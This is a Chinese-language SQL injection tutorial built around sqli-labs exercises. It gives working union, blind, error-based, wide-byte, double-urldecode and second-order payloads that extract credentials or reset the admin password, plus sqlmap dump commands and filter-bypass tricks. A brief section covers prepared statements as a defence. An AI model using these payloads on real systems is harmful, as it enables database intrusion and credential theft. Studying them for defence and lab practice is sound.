SQL注入
SQL注入是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令的 web攻击方式。权限大时可写入webshell,后门,系统命令执行,权限小时可通过注入获得系统敏感信息(管理员账号密码,重要数据等),修改数据库信息。
按照注入点类型来分类
(1)数字型注入点
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。
这一类的 SQL 语句原型大概为 select * from 表名 where id=1
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
(2)字符型注入点
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'
值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 '
我们需要将这些烦人的引号给处理掉。
(3)搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字"
有的不显示在的链接地址里面,而是直接通过搜索框表单提交。
此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%'
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
按照数据提交的方式来分类
(1)GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/index.php?id=1 , id 是注入点。
(2)POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
(3)Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
(4)HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
按照执行效果来分类
(1)基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 单引号
- 双引号
- 基于数字型注入
(4)联合查询注入
可以使用union的情况下的注入。
(5)堆查询注入
可以同时执行多条语句的执行时的注入。
(6)宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
基于sqli-labs的实践操作
1.基于报错的GET sql注入
less-1
提示说输入一个数字作为ID的值
那么先在url输入?id=1
显示查询成功,返回了用户Dumb
然后尝试使其报错,输入 ?id=1’
报错了,显示为 ‘’1’’ LIMIT 0,1’
有了这个,我们就可以揣测一下网站后端的sql请求语句了
首先,这个报错语句是被 ‘ ‘ 单引号闭合的,于是将其拆分 ‘ ‘1’’ LIMIT 0,1 ‘,可知报错的段落是 ‘1’’ LIMIT 0,1,由于我们输入的id值是1’
,所以再拆分一下为’ 1’ ‘ LIMIT 0,1
由此可以看出后台语句大致是
"SELECT username,password FROM user WHERE id = '$id' limit 0,1 "
id被单引号包裹,这是字符型注入点
less-2
流程与上面差不多
不同的是,这次输入id=1’后报错为 ‘’ LIMIT 0,1’
还是用和上面一样的方法拆分这段 ,’ ‘ LIMIT 0,1 ‘ –>’ LIMIT 0,1
可以看到limit前面多了一个单引号,而我们正是在1后面多加了一个单引号,说明这个单引号并没有被id读进去
由此可以看出后台语句大致是
"SELECT username,password FROM user WHERE id =$id limit 0,1 "
id没有被单引号包裹,这是一个数字型注入点
less-3
这次的报错是 ‘’1’’) LIMIT 0,1’
拆分 ‘ ‘1’’) LIMIT 0,1 ‘–>’1’’) LIMIT 0,1–>’ 1’ ‘) LIMIT 0,1
显然,后台语句是
"SELECT username,password FROM user WHERE id = ('$id') limit 0,1 "
但上面的语句只不过都是猜测,怎么验证呢,只有再构造语句来验证了
比如上面这个less-3
我们试着把输入改为 id=1’) –+或id=1’) –%20

都成功了,这就说明后台语句和我们想的八九不离十了
less-4
这次除了使用注释符,用上面的方法怎么输入页面都不报错,而题目说了 Double quotes,显然这次id是被””包裹了,输入的id值都会被当作字符串,加单引号括号都没用。
那就使用\来制造报错,输入 id=1\
返回报错 ‘“1\“) LIMIT 0,1’–>”1\“) LIMIT 0,1
\将后面的双引号消掉了,于是这一段语句就闭合不了了,遂报错
合理推测:
"SELECT username,password FROM user WHERE id = ("id") limit 0,1 "
验证:
这样4种不同的注入点的后台语句就通过报错大致的试出来了
之后就可以根据注入点类型通过order by语句测试字段数,通过union语句爆出表名,字段名等
例如less-1(字符型) 就可以输入?id=1’ order by 1[,2,3,4… ] –+测出该表中column的数量,order by最多能够到几,表中就有几段column,这对之后union注入有大用
less-1能够order by到3,也就是它有3个字段,于是接下来union注入
我们要构造的语句是SELECT [username,password] FROM user WHERE id = ‘0’ union select 1,2,3 –+ limit 0,1
所以输入(如果利用hackerbar或max hackerbar工具会方便很多):id=0’ union select 1,2,3 –+
这里构造id=0的目的就是让这一段请求报错,这样页面上显示的才是union联合语句查找出来的结果
效果
可以看到,我们select 1,2,3 ,它回显了2,3,说明返回的是三个字段中的第二个和第三个,这对接下来爆表和爆库有用
于是接下来注入 id=0’ union select 1,user(),database() –+
爆出了用户名和使用的数据库名
然后还可以用version()函数爆出数据库版本,这样就可以针对性的进行一些注入
例如:
爆表:
id=0' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database() --+
information_schema是储存了所有数据库信息的库,tables储存了所有表信息的表
看到了最后一个表是’users’,可用于下一步爆字段
爆字段:
id=0' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='users' --+ //记得最后这个表名要加单引号,不然没用
爆出来了users表中的所有字段,最重要的user,password等全出来了,接下来就可以union查询出它们的值了
id=0' union select 1,group_concat(username,0x3a,password),3 from [security.]users --+ //有时候要在表名前面加上数据库名,不然也出不来,即 这个环境下的security.
好家伙,借助group_concat()方法,该数据库所有的账号密码都以“账号:密码”的格式爆出来了
利用SQLmap工具进行sql注入
进入SQLmap工具目录打开命令行,输入命令
py sqlmap.py -u http://xxx.com/?id=1 --dbs --batch //输入点为id参数 --dbs参数用于探测数据库,--batch参数用于自动执行默认选项(省的我们在探测过程中一直按Y)
如果只有一个注入点,可以不用在url两边加上双引号,如果有两个注入点,则需要将url用双引号括起来
py sqlmap.py -u "http://xxx.com/?id=1&digree=high" --dbs --batch
如果需要的数据就在本数据库里,则可以省去上面这一步,直接进行接下来的爆表,爆字段的操作
py sqlmap.py -u http://xxx.com/?id=1 --tables --batch //爆表
假如爆出表名‘flag’
py sqlmap.py -u http://xxx.com/?id=1 -T flag --columns --batch //爆字段
假如爆出字段‘flag’
py sqlmap.py -u http://xxx.com/?id=1 -T flag -C flag --dump --batch //爆出数据
到这里就可以拿到我们想要的字段里的数据了
布尔型盲注
采用以下语句拆(猜)解字符串
猜解数据库名字长度
?id =1' and length(database())><=N --+
猜测数据库名字。
?id =1' and ascii(substr(database(),1,1))><=N --+ (利用二分法,ascii为ascii码,例如97=‘a’)
SUBSTR(str,pos,len): 从pos开始的位置,截取len个字符
所以substr(database(),1,1)意思是截取数据库名的第一个字符,用这种方式猜解数据库的第1,2,3…到最后一个字符。
SUBSTR(str,pos): pos开始的位置,一直截取到最后
6、猜表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1)))><=N --+)
7、猜列名:
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1)))><=N --+ (如果报错可以加limit 0,1)
8、查字段
?id=1' and length((select 列名 from 数据库.表名 limit 0,1))>0 --+
然后重复以上猜解字符串手法
如果有黑名单机制,可用mid()
代替substr()
,括号代替空格。
小trick
当and或者or等被禁时,可以用尝试用运算符代替。字符串和数字进行比较或者位运算时会被当作 0。
这张图简单验证了这一点。
实际上,一般还是直接使用sqlmap方便,直接在命令后面加 –technique B参数,则是指定进行布尔型注入(Boolen)。默认情况是BEUSTQ,即全部方式
SQLMAP目前支持的注入方式包括(默认全进行):
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: Inline SQL Injection (内联注入)
延时盲注
跟布尔盲注类似,也是猜解字符串,只不过由于前端回显更不明显,需要使用if和sleep语句来判断注入结果
判断:
?id=1’ and sleep(5) // 响应时间比正常情况多5秒,则存在延时注入
查数据库
?id=1’and if((ascii(substr(database(),1,1))>114) ,sleep(5),0)
其他操作方式与布尔型类似。
例如:
尝试延时注入
?id=1’ and sleep(5) --+ //第一步,判断是否有延时注入
?id=1' and if(length(database())><=N,sleep(5),0) --+ //第二步,猜测数据库名长度
?id=1’and if((ascii(substr(database(),1,1))>114) ,sleep(5),0) --+ //第三步猜测数据库名
手工注入是不可能手工注入的,还是sqlmap省事,加参数 –technique=T,时间注入一步到位。
宽字节注入
GBK编码每个字符占两字节(bytes)
ASCII编码每个字符占一字节
重点:注入原理
PHP中使用的编码方式为GBK,
函数执行(参数等)使用的是ASCII编码;
而MYSQL使用的默认字符集是GBK等宽字节字符集。
当后端用PHP的函数(如addslashes()、mysql_real_escape_string()、mysql_escape_string()等函数)对用户输入进行检测,对危险字符进行转义时,就有可能发生宽字节注入漏洞。
当源码中设置”set character_set_client=gbk” 时
%df%27 可把程序中转义函数过滤的“\ ” (%5c)吃掉。
如addslashes()函数会在用户输入的单引号 ‘ (%27)前面加一个反斜杠 \ (%5c),但如果我们在单引号前面加一个%df,即%df%27,经过addslashes()函数过滤后就变成了 %df%5c%27 ,但是在GBK编码中,%df%5c是一个汉字 “縗”
例如:
/1.php?id=1
存在宽字节注入时,则: /1.php?id=-1’and 1=1%23
,-1后面的单引号会被转义成 \’
但是提交:
/1.php?id=-1%df’and 1=1%23
时,
%df
和 反斜杠 \ (%5c) 组合 %df%5c
编码后是一个 縗 字,这时候单引号依然存在,则会闭合成功,形成宽字节注入,使得后面的and语句成功执行。
二次注入
二次注入就是先在网站服务器里储存一些数据,这些数据可以构成恶意语法,然后再利用这些数据完成攻击,比如在该网站注册一个账号,用账号名字或密码作为payload执行注入攻击。这是最基本的原理。
例如:如果有某网站的后台登录SQL语句是这样的
SELECT * FROM users WHERE username='$username' and password='$password'
如果,我们先注册一个用户,用户名为”admin’ – “,且前端后端都通过了(现实场景是基本不太可能的,写题有一定可能),那么,当我们登录这个用户时,这个语句就变成了
SELECT * FROM users WHERE username='admin' -- ' and password='$password'
这样,就直接登录了admin账户,如果admin账户存在的话。这就是二次注入的基本原理。
可以抽象概括为两步:
1.插入恶意数据
2.引用恶意数据
应用场景
Web应用程序常使用
addslashes() 、mysql_real_escape_string()、mysql_escape_string()函数
或者开启GPC(magic_quote_gpc=on
,开启之后,能自动实现addslashes()和stripslashes()这两个函数的功能)
来防止注入,也就是给单引号(‘’)、双引号(“”)、反斜杠()和NULL加上反斜杠转义。
二次注入适用于绕过addslashes() 、mysql_real_escape_string()、mysql_escape_string()函数,因为这些转义函数是用在第一次输入web服务器时,执行php语句时生效的,当储存入数据库,它该是怎么样就是怎么样了
比如:
admin' --
这个输入,直接传入后台经过addslashes()函数过滤后,就变成了admin\' --
,这个嵌入sql语句是没用的,无法闭合sql语句。
UPDATE users SET PASSWORD='$pass' where username='admin\' -- ' and password='$curr_pass'
但是如果把它作为一个账户名注册入数据库,它在数据库里就是admin' --
。这时我们先以这个admin' --
账户的身份登录进去,然后修改其密码,由于这时的账户名大概率不再经过addslashes()等函数的过滤了(已经以这个账户的身份登录进去了,语句中的用户名是直接从数据库中读出或者通过session传递的),仍然是admin' --
,也是说,后台sql语句是
UPDATE users SET PASSWORD='$pass' where username='admin' -- ' and password='$curr_pass'
--
后面的语句被注释,也就是说,我们修改的是admin账户的密码。
sqli-labs实例分析
less-24
一个登录界面,有创建新用户,也有忘记密码。
登录的后端源码是这样的
用户名密码全都用mysql_real_escape_string()函数过滤了,所以直接注入是会被转义掉单引号的
我们先看看数据库中有哪些用户名
sqli的数据库是security,users表中有以上用户名和密码
那么我们构建一个admin' -- -
用户,新建一下
看一下创建新用户的源码
可以看到三个输入都是用mysql_escape_string()函数过滤了的
然而
存储到数据库中的数据就是原始数据,我们可以看到表中多了一行admin' -- -
用户的数据
现在以这个用户的身份登录
这里我们可以看到,它的界面上显示的用户名是admin' -- -
,没有转义符号反斜杠\
,为什么呢?我们看看源码
它输出的是session中的”username”
session中的“username”是哪来的呢?在login.php里面
这里显示的很清楚了,$row是数据库查询结果返回的结果集列表,sqllogin()函数返回$row[1]给$login变量,$login变量再赋值给$_SESSION[“username”],所以session中的username是从数据库中读取的,未经过安全函数过滤。
然后我们来修改密码
以上是pass-change.php文件中的代码,可以看到$username由session赋值,然后用于sql语句中也就是说,此时它的sql语句实际上是
UPDATE users SET PASSWORD='$pass' where username='admin' -- -' and password='$curr_pass'
admin
用单引号闭合而且后面被注释掉了,此时我们操作的用户实际上是admin
用户
把密码改成12345
再来看看数据库
第8行数据中,admin用户的密码变成了12345,sql注入成功,我们修改了admin用户的密码,可以直接登录admin账户了
二次urldecode 注入
Web应用程序通常使用
addslashes() 、mysql_real_escape_string()、mysql_escape_string()函数
或者开启GPC(magic_quote_gpc=on
,开启之后,能自动实现addslshes()和stripslashes()这两个函数的功能)
来防止注入,也就是给单引号(‘’)、双引号(“”)、反斜杠()和NULL加上反斜杠转义。
如果某处使用了urldecode或者 rawurldecode 函数,则会导致二次解码生成单引号引发注入,即二次urldecode注入。
原理:
由于我们提交参数到webserver时,webserver会自动解码一次,当提交参数
id=1%2527
经过第一次解码后,%25 解码结果为 %,则参数此时为id=1%27
第二次程序使用了urldecode 或者 rawurldecode 函数来解码id参数,则解码后结果为
id=1'
这时单引号成功出现,输入闭合,绕过了转义函数或GPC,可以在后面添加执行sql注入语句了。
这个的原理类似于上面的宽字节注入
HTTP头注入
User-agent
后台SQL语句中使用了HTTP头中的User-agent
字段中的数据
sqlmap > py sqlmap.py -u “url” --user-agent "UA" --dbs --level 3
Cookie
后台SQL语句中使用了HTTP头中Cookie
字段中的数据
sqlmap > py sqlmap.py -u “url” --cookie "[cookie名]=[内容]" --dbs --level 2
Referer
后台SQL语句中使用了HTTP头中的Refer
字段中的数据
sqlmap > py sqlmap.py -u “url” --dbs --level 5
Host
后台SQL语句中使用了HTTP头中的host
字段中的数据
sqlmap > py sqlmap.py -u “url” --dbs --level 5
以上几种注入漏洞的执行原理非常“普通”,只不过注入点位置特殊而已,熟练运用sqlmap工具即可轻松解决
POST注入
上面的http头注入其实就是一种稍微特殊的post注入,post注入,顾名思义,就是注入点在post表单里的sql注入漏洞,一般手工注入需要借助工具(Burpsuite)抓包,然后修改post数据。
利用sqlmap进行post注入有几种方式
1.普通的表单注入
在表单中,例如登陆页面,如果不知道哪个参数存在注入点,可以直接添加--forms
命令参数
sqlmap > py sqlmap.py -u “url” --forms --batch
2.带参数的表单注入
如果已知某个参数有注入漏洞,如”id=1&time=2001”
sqlmap > py sqlmap.py -u “url” --data “id=1&time=2001” --batch
3.使用文件指定参数的表单(HTTP头)注入
比如已知注入点为id,在post表单中
用Burpsuite抓包,把报头保存为post.txt
,放在sqlmap同目录下(或者随便放哪,到时候带路径就行,懂得都懂)
sqlmap > py sqlmap.py -r post.txt -p id --dbs --batch //用-p参数指定注入点
或者
sqlmap > py sqlmap.py -r post.txt --level=3 --batch //指定探测级别,level 3级别就会自动探测http头
要在http头中进行注入,只要在需要探测的字段后面添加一个*
号,sqlmap就会自动对其进行探测了,如Referer注入就在Referer字段后面添加一个*
号。
Referer: http://127.0.0.1/sqli/Less-19/*
4.使用Burpsuite带sqlmap插件注入
很简单,bp上配置好sqlmap插件后,右键,发送到sqlmap,然后流程和上面差不多,添加*号,或者指定参数。
报错注入
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml
名称 | 描述 |
---|---|
ExtractValue() |
使用XPath表示法从XML字符串中提取值 |
UpdateXML() |
返回替换的XML片段 |
通过这两个函数可以完成报错注入
updatexml () 函数
关于 updatexml 函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
原理
select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
concat()
函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户
即,当XPATH_string路径语法错误时,就会报错,报错内容含有错误的路径内容
0x7e
ASCII码,实为~
,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)//select可省略
链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
//关键词 DISTINCT 用于返回唯一不同的值。
make_set()用法
爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
updatexml最多只能显示32位,需要配合SUBSTR
使用。
updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)
extractvalue(0x0a,concat(0x0a,(select database())))
extractvalue() 函数
ExtractValue(xml_frag, xpath_expr)
ExtractValue()
接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA
第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b');
就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。与updatexml()函数原理相同。
试探性 payloads
记得可以试试带上注释"-- "
,注意注释符是含空格的。
id=%5c --
id=' --
id=" --
id== --
id=-1 --
id=-0 --
id=3-2 --
后期payload
1 && extractvalue(0x0a,concat(0x0a,(select database())))# 爆库
1 && extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 0,1)))# 爆表
1 && extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns limit 0,1)))# 爆字段
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,1,32) from f14g)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,15,32) from f14g)))#
MySQL的SQL预处理(Prepared)
一、SQL 语句的执行处理
1、即时 SQL
一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
1. 词法和语义解析;
2. 优化 SQL 语句,制定执行计划;
3. 执行并返回结果;
如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
3. 预处理 SQL
但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将此类 SQL 语句中的值用占位符(即?)替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。
MySQL 官方将 prepare
、execute
、deallocate
统称为 PREPARE STATEMENT。翻译也就习惯的称其为预处理语句。
语法:
# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt; # stmt_name是预处理语句的名字,preparable_stmt是sql语句
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...]; # mysql的变量前加@标识
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name; # deallocate或者drop都可以用来删除预处理语句
预处理 SQL 使用注意点
1、stmt_name 作为 preparable_stmt 的接收者,唯一标识,不区分大小写。
2、preparable_stmt 语句中的 ? 是个占位符,所代表的是一个字符串,不需要将 ? 用引号包含起来。
3、定义一个已存在的 stmt_name ,原有的将被立即释放,类似于变量的重新赋值。
4、PREPARE stmt_name 的作用域是session级
5、要用变量替换标识符时,字符串变量中的标识符部分要用反引号包起来,不然会当成字符常量。
SQL注入绕过技巧
绕过逗号过滤
join绕过
简单的几句,在显示位上替换为常见的注入变量或其它语句:
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);//将4替换成你想要查询的数据
mid()
函数和substr()
一样,一种写法是mid(xxx,1,1)
,另一种是mid(xxx,from 1 for 1)
但是如果过滤了for和逗号,那么怎么办呢?ascii()
是取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
这样在过滤了逗号时,就能够使用mid()代替substr()绕过了。
substring与mid被过滤可以用right()与left()来绕过
常用数据库变量:
User() 查看用户
database() --查看数据库名称
Version() --查看数据库版本
@@datadir --数据库路径
@@version_compile_os --操作系统版本
system_user() --系统用户名
current_user() --当前用户名
session_user() --连接数据库的用户名